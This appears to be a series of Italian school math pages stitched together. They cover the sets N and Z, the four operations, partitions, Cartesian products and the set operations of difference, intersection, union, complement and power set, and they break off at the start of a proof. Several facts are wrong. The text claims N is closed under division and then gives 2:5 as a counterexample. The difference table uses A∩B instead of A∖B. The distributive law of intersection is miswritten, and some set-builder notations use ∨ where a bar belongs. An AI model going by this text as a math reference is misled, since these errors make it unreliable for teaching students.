Anche nell’insieme $ \mathbb{Z} $ continua a valere la proprietà distributiva che valeva nell’insieme $ \mathbb{N} $, che legava fra loro le varie operazioni fondamentali

Proprietà distributiva della moltiplicazione	$ a \cdot (b + c) = a \cdot b + a \cdot c $ $ (a + b) \cdot c = a \cdot c + b \cdot c $
Proprietà distributiva della divisone	$ (a + b) : c = (a : c) + (b : c) $

Osservazione Il segno $ + $che compare nella tabella precedente indica l’operazione di somma algebrica e non il segno delle varie quantità che compaiono, ovvero $ a, b, c $ che possono essere positive, negative, o anche nulle (ad eccezione, per quest’ultima possibilità, di $ c $ nel caso della proprietà distributiva della divisione, poiché il divisore non può essere nullo.

L’insieme $ \mathbb{Z} $ è un insieme ordinato

Come $ \mathbb{N} $, anche $ \mathbb{Z} $ è un insieme ordinato.

Altre risorse

Guarda la videolezione sulla somma algebrica di numeri relativi.

Insieme N dei numeri naturali

Scheda in cui si trattano i principali insiemi numerici: l’insieme $ \mathbb{N} $ dei numeri naturali, l’insieme $ \mathbb{Z} $ dei numeri interi, l’insieme $ \mathbb{Q} $ dei numeri razionali e l’insieme $ \mathbb{R} $ dei numeri reali.

L’insieme $ \mathbb{N} $ dei numeri naturali

I numeri naturali sono i numeri con i quali solitamente si inizia a contare: 0,1,2,… Essi sono infiniti e ognuno si ottiene dal precedente aggiungendogli 1: di conseguenza l’insieme $ \mathbb{N} $ è un insieme infinito.

Approfondimento

L’insieme $ \mathbb{N} $ può essere presentato in maniera più formale attraverso degli assiomi, ovvero delle affermazioni che vengono prese per vere ed evidenti, i cosiddetti assiomi di Peano. Essi dicono, espressi in modo semplice, che:

Esiste un numero naturale che è lo $ 0 $;
Ogni numero naturale ha un successore;
Due numeri diversi non hanno lo stesso successore;
Lo 0 non è il successore di nessun numero naturale;
Se si prende un qualunque sottoinsieme di $ \mathbb{N} $ che contiene lo 0 e il successore di ogni suo elemento, allora tale sottoinsieme è $ \mathbb{N} $ stesso.

Si può approfondire ulteriormente qui:

https://it.wikipedia.org/wiki/Assiomi_di_Peano

http://www.dm.unibo.it/~verardi/Numeri%20naturali.pdf

Le operazioni interne ai numeri naturali

Definizione

Un’operazione $ \star $ si dice interna a un insieme $ A $ se presi due qualunque elementi $ a, b $ dell’insieme $ A $ l’operazione $ a \star b $ restituisce ancora un elemento di $ A $. In tal caso si dice che $ A $ è chiuso rispetto all’operazione $ \star $. In altri termini ancora un’operazione è interna a un insieme se e solo se si può svolgere con i soli elementi di quell’insieme, senza usarne altri.

Le operazioni interne all’insieme dei numeri naturali sono due: l’addizione ( + ) e la moltiplicazione ( \cdot ); esse assieme alla sottrazione ( – ) e alla divisione ( : ), costituiscono le cosiddette quattro operazioni fondamentali.

Terminologia delle quattro operazioni fondamentali

Presa un’operazione $ \star $ qualsiasi, si può schematizzare lo svolgersi di questa operazione nel seguente modo:

\[ a \star b = c \]

$ a, b $ sono detti operandi;
$ \star $ è detto operatore;
$ c $ è detto risultato

Gli operandi, l’operatore e il risultato prendono nomi differenti a seconda di quale delle quattro operazioni fondamentali si considera:

Operazione	1° operando	2° operando	Operatore	Risultato
Addizione	1° addendo	2° addendo	+	Somma
Sottrazione	Minuendo	Sottraendo	–	Differenza
Moltiplicazione	1° fattore	2° fattore	$\cdot$	Prodotto
Divisione	Dividendo	Divisore	:	Quoziente

L’addizione $ + $

L’operazione di addizione è un’operazione interna all’insieme $ \mathbb{N} $ dei numeri naturali.

Proprietà dell’addizione

L’addizione gode di alcune proprietà fondamentali:

Proprietà commutativa $ a + b = b + a $
Proprietà associativa $ a + b + c = (a + b) + c = a + (b + c) $
Esistenza dell’elemento neutro (lo $ 0 $): $ a + 0 = 0 + a = a $

Inoltre essa soddisfa una legge, nota come legge di cancellazione:

Se $ a + c = b + c $ allora $ a = b $

La sottrazione $ – $

L’operazione di sottrazione non è un’operazione interna all’insieme $ \mathbb{N} $ dei numeri naturali.

Esempio

$ 2 – 5 $ non è un’operazione che si può svolgere con i numeri naturali: il risultato non è un numero naturale.

Cosa serve per svolgere una sottrazione con i numeri naturali

La sottrazione fra due numeri naturali, ordinatamente $ a, b $ si può svolgere solo se il primo è maggiore o uguale del secondo, ovvero se il minuendo è maggiore o uguale del sottraendo $ a \ge b $

Proprietà della sottrazione

La sottrazione non gode delle proprietà commutativa e associativa dell’addizione; lo $ 0 $ si può ammettere come suo elemento neutro solo parzialmente: infatti

$ a – 0 = a $

ma in generale non si può dire nulla della quantità

$ 0 -a $

(a meno che $ a = 0 $: in tal caso $ 0 – a = 0 $).

Tuttavia, la sottrazione gode della proprietà invariantiva:

La differenza tra due numeri non cambia se ad ognuno di essi si aggiunge o si sottrae uno stesso numero

$ a – b = (a + c) – (b + c) $

$ a – b = (a – c) – (b – c) $

L’addizione e la sottrazione sono operazioni inverse

Definizione Un’operazione si dice inversa rispetto ad un’altra se agisce in modo opposto rispetto a quest’ultima; sostanzialmente essa non fa altro che ritornare al punto di partenza dell’operazione precedente.

$ a + b = c $

$ c – b = a $

La moltiplicazione $ \cdot $

L’insieme $ \mathbb{N} $ dei numeri naturali è chiuso rispetto all’operazione di moltiplicazione.

Proprietà della moltiplicazione

La moltiplicazione gode di alcune proprietà fondamentali:

Proprietà commutativa $ a \cdot b = b \cdot a $
Proprietà associativa $a \cdot b \cdot c = (a \cdot b) \cdot c = a \cdot (b \cdot c) $
Esistenza dell’elemento neutro (l’$1$): $ a \cdot 1 = 1 \cdot a = a $
Esistenza dell’elemento assorbente (lo $0$): $a \cdot 0 = 0 \cdot a = 0 $

Inoltre essa soddisfa due leggi, la prima è nota come legge di cancellazione:

Se $ a \cdot c = b \cdot c $ e $ c \neq 0 $, allora $ a = b $

La seconda invece è nota come legge di annullamento del prodotto:

Se $ a \cdot b = 0 $ allora necessariamente $ a = 0 $ oppure $ b = 0 $

La divisione $ : $

L’insieme $ \mathbb{N} $ dei numeri naturali è chiuso rispetto all’operazione di divisione. Il divisore è sempre diverso da 0.

Esempio

$ 2:5 $ non è un’operazione che si può svolgere con i numeri naturali: il risultato non è un numero naturale.

Cosa serve per svolgere una divisione con i numeri naturali

La divisione fra due numeri naturali, ordinatamente $ a, b $ si può svolgere solo se il primo è un multiplo del secondo, o equivalentemente se il secondo è un divisore del primo.

Proprietà della divisione

La divisione non gode delle proprietà commutativa e associativa dell’addizione; l’$1$ si può ammettere come elemento neutro della divisione solo parzialmente: infatti

$ a : 1 = a $

ma non si può dire nulla della quantità

$ 1 : a $

(a meno che $ a = 1 $: in tal caso $ 1 : a = 1 $).

Tuttavia, la divisione gode della proprietà invariantiva:

Il quoziente tra due numeri non cambia se si moltiplica o si divide ognuno di esse per uno stesso numero

$ a : b = (a \cdot c) : (b \cdot c) $

$a : b = (a : c) : (b : c) $

La moltiplicazione e la divisione sono operazioni inverse

$ a \cdot b = c $

$ c : b = a $ e $ c : a = b $

La proprietà distributiva

Esiste un’ulteriore proprietà che lega fra loro le quattro operazioni fondamentali: è la proprietà distributiva.

Proprietà distributiva della moltiplicazione rispetto all’addizione	$ a \cdot (b + c) = a \cdot b + a \cdot c $ $ (a + b) \cdot c = a \cdot c + b \cdot c $
Proprietà distributiva della moltiplicazione rispetto alla sottrazione	$ a \cdot (b – c) = a \cdot b – a \cdot c $ $ (a – b) \cdot c = a \cdot c – b \cdot c $
Proprietà distributiva della divisone rispetto all’addizione	$ (a + b) : c = (a : c) + (b : c) $
Proprietà distributiva della divisone rispetto alla sottrazione	$ (a – b) : c = (a : c) – (b : c ) $

L’insieme $ \mathbb{N} $ è un insieme ordinato

Definizione Un insieme si dice ordinato se presi due qualunque suoi elementi è sempre possibile stabilire se essi sono uguali oppure quale di essi è il maggiore e quale il minore.

Approfondimento

Per approndire il concetto di insieme ordinato e quello di relazione d’ordine consulta:

https://it.wikipedia.org/wiki/Relazione_d%27ordine

Videolezione sui numeri naturali

Partizione di un insieme

Scheda che illustra il concetto di partizione di un insieme con le relative proprietà, ed esempi.

La partizione di un insieme

Sia $ A $ un insieme, e sia $ \wp(A) $ l’insieme delle parti di $ A $. Da $ \wp (A) $ si possono scegliere determinati sottoinsiemi di $ A $ che, se rispettano determinate condizioni, costituiscono una cosiddetta partizione di $ A $.

Definizione di partizione

Siano $ A $ un insieme e $ B_1, B_2, \ldots, B_n $ $ n $ suoi sottoinsiemi. Si dice che $ B_1, B_2, \ldots, B_n $ costituiscono una partizione di $ A $ se e solo se soddisfano le seguenti condizioni:

Nessuno, fra $ B_1, B_2, \ldots, B_n $ è uguale all’insieme vuoto $ \varnothing $;
Scelti a caso due insiemi fra $ B_1, B_2, \ldots, B_n $ , essi sono disgiunti, ovvero la loro intersezione è uguale all’insieme vuoto;
L’unione di $ B_1, B_2, \ldots, B_n $ è uguale ad $ A $, ovvero $ B_1 \cup B_2 \cup \ldots \cup B_n = A $

Definizione

I sottoinsiemi $ B_1, B_2, \ldots, B_n $ che formano una partizione vengono detti classi della partizione.

Rappresentazioni di una partizione di $A$

Tramite i diagrammi di Eulero-Venn

Se si rappresenta l’insieme $ A $ attraverso un diagramma di Eulero-Venn, rappresentare una sua partizione significa dividere $ A $ stesso in sottoinsiemi, in ognuno dei quali ci sia almeno un elemento, in modo tale da ricoprire tutto l’insieme $ A $ senza intersezioni fra i vari sottoinsiemi.

Esempio 1

Se $ A = \{1,2,3,4,5\} $ una partizione di $ A $ è:

Per elencazione

Si elencano uno per uno tutti i sottoinsiemi di $ A $ che costituiscono la partizione

Esempio 2

Se $ A=\{1,2,3,4,5\} $ una partizione di $ A $ è $ \{\{1\};\{2\};\{3;5\};\{4\}\} $

Osservazione

Esiste più di una partizione per uno stesso insieme $ A $: si possono infatti scegliere in diversi modi i sottoinsiemi che la formano.

Esempio 3

Se $ A =\{1,2,3,4,5\} $ una partizione per $ A $ è

ma un’altra partizione è:

Osservazione

Ciò che costituisce una partizione di un insieme $ A $ sono dei suoi sottoinsiemi: di conseguenza, una qualsiasi partizione di $ A $ è un sottoinsieme del suo insieme delle parti $ \wp(A) $; al contrario, non tutti i sottoinsiemi dell’insieme delle parti di $ A $ sono partizioni di $ A $ stesso.

Osservazione

Se $ A $ è un insieme non vuoto con almeno due elementi e $ B $ è un suo sottoinsieme proprio (ovvero distinto da $ A $ e da $ \varnothing $) allora $ \{B;B^c\} $ costituisce una partizione di A: infatti

$ B \neq \varnothing $ e $ B^c \neq \varnothing $

$ B \cup B^c = A $

$ B \cap B^c = \varnothing $

Osservazione

Se $ A $ è un insieme non vuoto, allora $ \{A\} $ è una sua partizione.

Esempi

Preso l’insieme $ A =\{1,2,3\} $ tutte le sue possibili partizioni sono

$ \{A\} $

$ \big\{\{1\},\{2\},\{3\}\big\} $

$ \big\{\{1,2\},\{3\}\big\} $

$ \big\{\{1,3\},\{2\}\big\} $

$ \big\{\{2,3\},\{1\}\big\} $

Preso l’insieme $ A $ degli alunni di una scuola, una possibile partizione di $ A $ si ottiene suddividendo gli alunni in maschi e femmine (sempre che in questa scuola ci siano almeno un maschio e almeno una femmina!) oppure se ne ottiene un’altra suddividendoli in classi di appartenenza.
Preso l’insieme $ \mathbb{N} $ dei numeri naturali, una possibile partizione di $ \mathbb{N} $ si ottiene suddividendo i numeri in pari e dispari, oppure un’altra suddividendoli in minori di 5000 e in maggiori o uguali a 5000, o un’altra ancora suddividendoli in primi e non primi.
Preso l’insieme $ A=\{0,2,4,6,8,10\} $ una sua possibile partizione è:

Le classi che formano questa partizione sono

$ \{0,2,4\} $

$ \{6\} $

$ \{8,10\} $

Essa è una partizione perché:

$ \{0,2,4\} \neq \varnothing $, $ \{6\} \neq \varnothing $, $ \{8,10\} \neq \varnothing $

$ \{0,2,4\} \cap \{6\}=\{0,2,4\} \cap \{8,10\} = \{6\} \cap \{8,10\} = \varnothing $

$ \{0,2,4\} \cup \{6\} \cup \{8,10\} = \{0,2,4,6,8,10\} = A $

Materiale aggiuntivo

Videolezione: operazioni sugli insiemi

Prodotto cartesiano fra insiemi

Scheda che introduce l’operazione di prodotto cartesiano con le relative proprietà, ed esempi.

Il prodotto cartesiano fra due insiemi

Definizione

Sia fissato un insieme ambiente $ U $. Presi due insiemi $ A $ e $ B $ sottoinsiemi di $ U $, si definisce l’insieme prodotto cartesiano di $ A $ e di $ B $ quell’insieme formato da coppie ordinate $ (x; y) $ con $ x \in A $ e $ y \in B $. Tale insieme si indica con $ A \times B $ (si legge A cartesiano B).

Rappresentazioni di $ A \times B $

Per proprietà caratteristica $ A \times B = \{(x; y) | x \in A, y \in B\} $
Tramite diagramma cartesiano

Si prendono due rette perpendicolari, per comodità la prima orizzontale e la seconda verticale, sulle quali segniamo rispettivamente gli elementi del primo insieme $ A $ e del secondo insieme $ B $. Da ognuno di questi punti si manda una retta parallela all’asse a cui non appartengono, fino a formare tutti gli incroci possibili fra queste rette. I punti individuati dagli incroci indicano gli elementi del prodotto cartesiano $ A \times B $.

Rappresentazione sagittale (tramite “frecce”)

Si disegnano mediante i diagrammi di Eulero-Venn i due insiemi $ A $ e $ B $ e si fanno partire delle frecce da ogni elemento di $ A $ a ogni elemento di $ B $.

Osservazione Il prodotto cartesiano non è in genere simmetrico, vale a dire, in generale $ A \times B \neq B \times A $. Se per esempio $ A= \{1,2,3\} $ e $ B = \{\alpha, \beta\} $, si ha:

$ A \times B = \{(1; \alpha), (2; \alpha), (3; \alpha), (1; \beta), (2; \beta), (3; \beta)\} $

$ B \times A = \{(\alpha; 1), (\alpha; 2), (\alpha;3), (\beta; 1), (\beta; 2), (\beta; 3)\} $

Osservazione Si può fare anche il prodotto cartesiano di un insieme per se stesso. Se tale insieme lo si indica con $ A $, allora tale prodotto cartesiano si indica con $ A \times A = A^2 $.
Per esempio. Se $ A = \{1,2,3\} $, si ha:

$ A^2 = \{(1; 1), (1; 2), (1; 3), (2; 1), (2; 2), (2; 3), (3; 1), (3; 2), (3; 3)\} $

Osservazione Si può estendere il prodotto cartesiano anche a più di due insiemi. In generale, se si prendono $ n $ insiemi $ A_1, A_2, \ldots, A_n $ si definisce il loro prodotto cartesiano nel seguente modo:

Definizione Sia fissato un insieme ambiente $ U $ e siano $ A_1, A_2, \ldots, A_n $ $ n $ insiemi. Si definisce il loro prodotto cartesiano $ A_1 \times A_2 \times \ldots \times A_n $ come quell’insieme formato dalle n-ple ordinate $ (x_1; x_2; \ldots; x_n) $, con $ x_1 \in A_1, x_2 \in A_2, \ldots, x_n \in A_n $.

Cardinalità di $ A \times B $

Se $ A $ e $ B $ sono due insiemi con rispettivamente $ m $ ed $ n $ elementi, ovvero $ | A | = m, | B | = n $, allora la cardinalità di $ A \times B $ è $ | A \times B | = m \cdot n $.

Osservazione

Questo si può vedere immediatamente ragionando sulla rappresentazione sagittale.
Se $ |A| = m, |B| = n $, allora da ogni elemento del primo insieme $ A $ partiranno in tutto $ n $ frecce una per ogni elemento di $ B $, per un totale di $ m \cdot n $ frecce.

Osservazione

Se almeno uno dei due insiemi $ A $, $ B $ è infinito allora anche il prodotto cartesiano $ A \times B $ (e anche $ B \times A $) è infinito; se invece sia $ A $ sia $ B $ sono insiemi finiti, lo saranno anche $ A \times B $ e $ B \times A $.

Proprietà del prodotto cartesiano

In tutto questo paragrafo siano $A , B, C, D $ degli insiemi.

Se $ C \subseteq A $ e $ D \subseteq B $ allora $ C \times D \subseteq A \times B $ e $ D \times C \subseteq B \times A $
Insieme vuoto: $ A \times \varnothing = \varnothing \times A = \varnothing \times \varnothing = \varnothing $
Distributività rispetto all’unione: $ A \times (B \cup C) = (A \times B) \cup (A \times C) $, $ (B \cup C) \times A = (B \times A) \cup (C \times A) $
Distributività rispetto all’intersezione $ A \times (B \cap C) = (A \times B) \cap (A \times C) $, $ (B \cap C) \times A = (B \times A) \cap (C \times A) $
Distributività rispetto alla differenza $ A \times (B \setminus C) = (A \times B) \setminus (A \times C) $, $ (B \setminus C) \times A = (B \times A) \setminus (C \times A) $

Differenza di insiemi

Scheda che introduce l’operazione di differenza di insiemi con le relative proprietà, ed esempi.

L’operazione differenza di insiemi

Definizione

Sia fissato un insieme ambiente $ U $. Presi due insiemi $ A $ e $ B $ sottoinsiemi di $ U $, si definisce l’insieme differenza fra $ A $ e $ B $ quel sottoinsieme di $ U $ i cui elementi appartengono ad $ A $ ma non a $ B $. Tale insieme si indica con $ A \setminus B $.

Quanto detto si può schematizzare nel seguente modo: se $ x \in U $, allora:

$ A $	$ B $	$ A \setminus B $
$ x \in A $	$ x \in B $	$ x \not \in A \cap B $
$ x \in A $	$ x \not \in B $	$ x \in A \cap B $
$ x \not \in A $	$ x \in B $	$ x \not \in A \cap B $
$ x \not \in A $	$ x \not \in B $	$ x \not \in A \cap B $

Rappresentazioni di $ A \setminus B $

Per proprietà caratteristica $ A \setminus B = \{x \in U | x \in A \text{ e } x \not \in B\} $

Con i diagrammi di Eulero-Venn (l’insieme intersezione è evidenziato in giallo)

Osservazione L’operazione di differenza non è simmetrica, vale a dire in generale $ A \setminus B \neq B \setminus A $. Per esempio, se $ A=\{1,2,3,4,5,6,7\} $ e $ B=\{5,6,7,8,9\} $:

$ A \setminus B = \{1,2,3,4\} $

$ B \setminus A = \{8,9\} $

Proprietà dell’operazione differenza

In tutto questo paragrafo $ U $ sarà il solito insieme ambiente e $ A, B $ due suoi sottoinsiemi

$ A \setminus \varnothing = A $ ; $ \varnothing \setminus A = \varnothing $
Insieme ambiente: $ U \setminus A = A^c $ ; $ A \setminus U = \varnothing $
Sottoinsieme: $ A \setminus B \subseteq A $
Unione: $ A \cup (A \setminus B ) = A $ ; $ B \cup ( A \setminus B ) = A \cup B $
Intersezione: $ A \cap (A \setminus B ) = A \setminus B $ ; $ B \cap (A \setminus B) = \varnothing $, se $ A $ e $ B $ sono disgiunti, ovvero se $ A \cap B = \varnothing $, $ A \setminus B = A $ e $ B \setminus A = B $

Esempi

Se $ A=\{2,3,5\} $ e $ B=\{1,2,3,5,6\} $, allora $ A \setminus B = \varnothing $ e $ B \setminus A = \{1,6\} $
Se $ A=\{1,2,3,10\} $ e $ B=\{2,4,5\} $, allora $ A \setminus B = \{1,3,10\} $ e $ B \setminus A = \{4,5\} $
Se $ U=\{1,2,3,4,5,6,7,8,9\} $, $ A=\{2,3,4,7,9\} $, $ B=\{2,3,5,6,7,9\} $, allora

$ A \setminus B = \{4\} $

$ B \setminus A = \{5,6\} $

$ A \setminus U = \varnothing $

$ U \setminus A = \{1,5,6,8\} = A^c $

$ B \setminus U = \varnothing $

$ U \setminus B = \{1,4,8\} $

Se $ A=\{1,2,3,5\} $ e $ B=\{12,23,35\} $ allora $ A \setminus B = A $ e $ B \setminus A = B $

Altre risorse

Formulario sugli insiemi

Test sugli insiemi

Intersezione di insiemi

Scheda che introduce l’operazione di intersezione fra insiemi con le relative proprietà.

L’operazione intersezione

Definizione

Sia fissato un insieme ambiente $ U $. Presi due insiemi $ A $ e $ B $ sottoinsiemi di $ U $, si definisce il loro insieme intersezione quel sottoinsieme di $ U $ i cui elementi appartengono sia al primo che al secondo dei due insiemi. Tale insieme si indica con $ A \cap B $.

Quanto detto si può schematizzare nel seguente modo: se $ x \in U $, allora

$ A $	$ B $	$ A \cap B $
$ x \in A $	$ x \in B $	$ x \in A \cap B $
$ x \in A $	$ x \not \in B $	$ x \not\in A \cap B $
$ x \not \in A $	$ x \in B $	$ x \not\in A \cap B $
$ x \not \in A $	$ x \not \in B $	$ x \not\in A \cap B $

Da questa tabella si legge immediatamente che affinché un elemento $ x $ qualsiasi non appartenga all’intersezione $ A \cap B $ di due insiemi $ A $, $ B $, tale elemento non deve appartenere ad almeno uno dei due insiemi.

Rappresentazioni di $ A \cap B $

Per proprietà caratteristica $ A \cap B = \{x \in U | x \in A \text{ e } x \in B \} $

Con i diagrammi di Eulero-Venn (l’insieme intersezione è evidenziato in giallo)

Proprietà dell’intersezione

In tutto questo paragrafo $ U $ sarà il solito insieme ambiente e $ A $, $ B $, $ C $ tre suoi sottoinsiemi

Proprietà commutativa $ A \cap B = B \cap A $
Proprietà associativa $ A \cap B \cap C = (A \cap B) \cap C = A \cap (B \cap C) $
Idempotenza $ A \cap A = A $
Proprietà dell’insieme vuoto $ A \cap \varnothing = \varnothing $
$ A \cap U = A $
In generale, se $ C \subseteq A $ allora $ A \cap C = C $
$ A \cap A^c = \varnothing $

Proprietà di unione e intersezione

In tutto questo paragrafo $ U $ sarà il solito insieme ambiente e $ A, B, C $ tre suoi sottoinsiemi

Proprietà distributiva dell’unione rispetto all’intersezione $A\cup(B\cap C)=(A\cup B)\cap(A\cup C) $
Proprietà distributiva dell’intersezione rispetto all’unione $A \cap(B\cup C)=(A\cap C)\cup (A\cap C) $
Proprietà di assorbimento $A \cup (A \cap B ) = A $
$ A \cap (A \cup B ) = A $
Leggi di De Morgan $ (A \cup B)^c=A^c\cap B^c$ e $ (A \cap B)^c = A^c \cup B^c $

Esempi

Se $ A=\{2,3,5\} $ e $B=\{1,2,3,5,6\}$, allora dalla proprietà 6, poiché $ A \subseteq B $, si ha che $ A \cap B = A $
Se $ A=\{1,2,3,10\} $ e $ B=\{2,4,5\} $ , allora $ A \cap B = \{2\} $
Se $ U=\{1,2,3,4,5,6,7,8,9\} $, $A=\{2,3,4,7,9\}$, $B=\{2,3,5,6,7,9\}$ allora

$ A \cap B = \{2,3,7,9\} $

$ (A \cap B)^c = \{1,4,5,6,8\} $

$ A^c = \{1,5,6,8\} $ e $ B^c = \{1,4,8\} $

$ A^c \cup B^c = \{1,4,5,6,8\} = (A \cap B)^c $

Come ci aspettavamo stando alla prima legge di De Morgan. Per la seconda legge,

$ A \cup B = \{2,3,4,5,6,7,9\} $

$ (A \cup B)^c = \{1,8\} $

$ A^c = \{1,5,6,8\} $ e $ B^c = \{1,4,8\} $

$A^c \cap B^c = \{1,8\} = (A \cup B)^c $

Se $ A=\{1,2,3,5\} $ e $ B=\{12,23,35\} $ allora $ A \cap B = \varnothing $

Materiale di supporto

Guarda la videolezione sull’intersezione di insiemi.

Correlazione?

In numerose attività si effettuano misure sperimentali: campi coltivati, foreste, corsi d’acqua, laboratori, impianti, fabbriche… Si fanno indagini economiche, rilevazioni di mercato e di numerosi fenomeni sociali. Tutte sono fonti di dati, che richiedono elaborazioni Continua a leggere “Correlazione?” →

Unione di insiemi

Scheda che introduce l’operazione di unione di insiemi con le relative proprietà.

L’operazione unione

Definizione

Sia fissato un insieme ambiente $ U $. Presi due insiemi $ A $ e $ B $ sottoinsiemi di $ U $, si definisce il loro insieme unione quel sottoinsieme di $ U $ i cui elementi appartengono ad almeno uno dei due insiemi. Tale insieme si indica con $ A \cup B $.

Quanto detto si può schematizzare nel seguente modo: se $ x \in U $, allora

$ A $	$ B $	$ A \cup B $
$ x \in A $	$ x \in B $	$ x \in ( A \cup B ) $
$ x \in A $	$ x \not \in B $	$ x \in ( A \cup B ) $
$ x \not \in A $	$ x \in B $	$ x \in ( A \cup B ) $
$ x \not \in A $	$ x \not \in B $	$ x \not \in ( A \cup B ) $

Da questa tabella si legge immediatamente che affinché un elemento $ x $ qualsiasi non appartenga all’unione $ A \cup B $ di due insiemi $ A $, $ B $, tale elemento non deve appartenere a nessuno dei due insiemi.

Rappresentazioni di $ A \cup B $

Per proprietà caratteristica

$ A \cup B = \{ x \in U | x \in A \vee x \in B \} $

Con i diagrammi di Eulero-Venn (l’insieme unione è evidenziato in giallo)

Proprietà dell’unione

In tutto questo paragrafo $ U $ sarà il solito insieme ambiente e $ A $, $ B $, $ C $ tre suoi sottoinsiemi

Proprietà commutativa $ A \cup B = B \cup A $
Proprietà associativa $ A \cup B \cup C = ( A \cup B ) \cup C = A \cup ( B \cup C ) $
Idempotenza $ A \cup A = A $
Proprietà dell’insieme vuoto $ A \cup \varnothing = A $
$ A \cup U = U $
In generale, se $ C \subseteq A $ allora $ A \cup C = A $
$ A \cup A^c = U $

Esempi

Se $ A $ è l’insieme delle vocali e $ B $ l’insieme delle consonanti, allora $ A \cup B $ è l’insieme delle lettere dell’alfabeto.
Se $ A = \{2,3,5\} $ e $ B = \{1,2,3,5,6\} $, allora dalla proprietà 6, poiché $ A \subseteq B $, si ha che $ A \cup B = B $
Se $ A=\{1,2,3,10\} $ e $ B=\{2,4,5\} $, allora $ A \cup B = \{1,2,3,4,5,10\} $
Se $ A $ è l’insieme degli interi positivi pari e $ B $ è l’insieme degli interi positivi dispari, allora $ A \cup B = \mathbb{N} $

Materiale di supporto

Videolezione sulle operazioni fra insiemi

Insieme complementare di un insieme

Scheda che introduce il concetto di complementare di un insieme, corredata di diversi esempi.

Insieme complementare di un insieme

Definizione

Sia fissato un insieme ambiente $ U $. Allora, preso un qualunque insieme $ A \subset U $ si definisce complementare di $ A $ rispetto a $ U $ quell’insieme $ B \subset U $ che ha per elementi tutti e soli gli elementi di $ U $ che non sono elementi di $ A $. L’insieme è indicato con il simbolo $ A^c $.

Rappresentazioni

Per proprietà caratteristica $ A^c = \{ x \in U \vee x \in U \wedge x \not \in A \} $
Con i diagrammi di Eulero-Venn (il complementare di $ A $ è evidenziato in grigio)

Esempio 1

Detto $ U $ un qualsiasi insieme ambiente:

L’insieme complementare di $ \varnothing $ è $ U $, cioè $\varnothing^c = U $.

L’insieme complementare dell’insieme universo $ U $ è l’insieme vuoto $ \varnothing $, cioè $ U^c = \varnothing $.

L’insieme complementare di $ U $ è $ \varnothing $L’insieme complementare dell’insieme complementare è l’insieme iniziale, cioè $ (A^c)^c = A $.

Esempio 2

Se l’insieme delle lettere dell’alfabeto è l’insieme ambiente:

L’insieme complementare dell’insieme delle vocali è l’insieme delle consonanti
L’insieme complementare dell’insieme delle consonanti è l’insieme delle vocali

Esempio 3

Se l’insieme dei mesi dell’anno è l’insieme ambiente:

L’insieme complementare dell’insieme dei mesi che iniziano per g è: { febbraio, marzo, aprile, maggio, luglio, agosto, settembre, ottobre, novembre, dicembre }
L’insieme complementare dei mesi invernali è: {marzo, aprile, maggio, giugno, luglio, agosto, settembre, ottobre, novembre}

Esempio 4

Se l’insieme dei giorni della settimana è l’insieme ambiente:

L’insieme complementare dell’insieme dei giorni feriali è: {domenica}
L’insieme complementare dell’insieme dei giorni che non iniziano per z è: { $ \varnothing $ }

Esempio 5

Se l’insieme ambiente è l’insieme dei numeri naturali $ \mathbb{N} $

L’insieme complementare dell’insieme dei numeri pari è l’insieme dei numeri dispari

Osservazione

Se l’insieme ambiente $ U $ ha $ n $ elementi e un suo sottoinsieme $ A $ ha $ m $ elementi, con $ m <= n $, ovvero $ | U | = n $ e $ | A | = m $, allora il complementare di $ A $ rispetto a $ U $ avrà $ n – m $ elementi, ovvero la sua cardinalità è $ | A^c | = n – m $.

Materiale di supporto

Test sulla teoria degli insiemi.

Insieme delle parti di un insieme

Scheda che introduce il concetto di insieme delle parti, corredata di diversi esempi.

L’insieme delle parti

Preso un insieme $ A $, ci si può chiedere quali siano tutti i suoi sottoinsiemi.

Esempio

Preso l’insieme $ V $ delle vocali

$ V = \{a, e, i , o, u\} $

i suoi sottoinsiemi sono

$ \varnothing\ \ \ \{a\},\{e\},\{i\},\{o\},\{u\}\ \ \ \{a,e\},\{a, i\},\{a,o\}, \{a,u\},\{e,i\},$
$\{e,o\},\{e,u\},\{i,o\},\{i,u\},\{o,u\}\ \ \ \{a,e,i\},\{a,e,o\},\{a,i,o\},\{a,i,u\},\{a,o,u\},$
$\{e,i,o\},\{e,i,u\},\{e,o,u\},\{i,o,u\}\ \ \ \{a,e,i,o\},\{a,e,i,u\},\{a,e,o,u\},\{a,i,o,u\},$
$\{e,i,o,u\}\ \ \ V $

Esiste un insieme, chiamato insieme delle parti di $ V $, che li contiene tutti.

Definizione

Preso un insieme $ A $, si definisce insieme delle parti l’insieme $ \wp(A) $ che contiene tutti e soli i sottoinsiemi di $ A $, ovvero quell’insieme i cui elementi sono tutti e soli i sottoinsiemi di $ A $.

La rappresentazione dell’insieme delle parti

Rappresentazione per elencazione

È la più usata, e consiste nello scrivere all’interno di una coppia di parentesi graffe uno alla volta tutti i sottoinsiemi dell’insieme considerato.

Esempio 1

Riprendendo l’esempio precedente, la sua rappresentazione per elencazione si scrive così:

$ \wp(V) = \big\{\varnothing,\{a\},\{e\},\{i\},\{o\},\{u\},\{a,e\},\{a, i\},\{a,o\},\{a,u\},\{e,i\},$
$\{e,o\},\{e,u\},\{i,o\},\{i,u\},\{o,u\},\{a,e,i\},\{a,e,o\},\{a,i,o\},\{a,i,u\},\{a,o,u\},\{e,i,o\},$
$\{e,i,u\},\{e,o,u\},\{i,o,u\},\{a,e,i,o\},\{a,e,i,u\},\{a,e,o,u\},\{a,i,o,u\},\{e,i,o,u\},V\big\} $

Esempio 2

Se si prende in considerazione l’insieme vuoto, si scrive:

$ \{\varnothing\} = \{\varnothing\} $

Rappresentazione mediante i diagrammi di Eulero-Venn

Si rappresentano all’interno di un insieme, che è appunto l’insieme delle parti, i vari sottoinsiemi dell’insieme considerato

Esempio

Se si prende in considerazione l’insieme delle cifre del codice binario $ B = \{0,1\} $, si ha il seguente diagramma di Eulero-Venn:

Rappresentazione per proprietà caratteristica

Se si prende in considerazione un insieme $ A $, si scrive:

$ \wp (A) = \{ B \in U \vee B \subseteq A \} $

dove $ U $ è l’insieme universo.

Quanti sono i sottoinsiemi di un insieme finito?

Preso in considerazione un insieme finito $ A $, esso avrà un numero finito di elementi. Se il numero degli elementi è $ n $, si può scrivere

$ | A | = n $

Teorema

Il numero di sottoinsiemi di un insieme $ A $ che ha $ n $ elementi è $ 2^n $

Osservazione: Poiché l’insieme delle parti di un insieme $ A $ è l’insieme dei sottoinsiemi di $ A $, il numero di sottoinsiemi di $ A $ è proprio la cardinalità di $ ( A ) $.
Il teorema precedente si può dimostrare facilmente nel seguente modo:

Dimostrazione

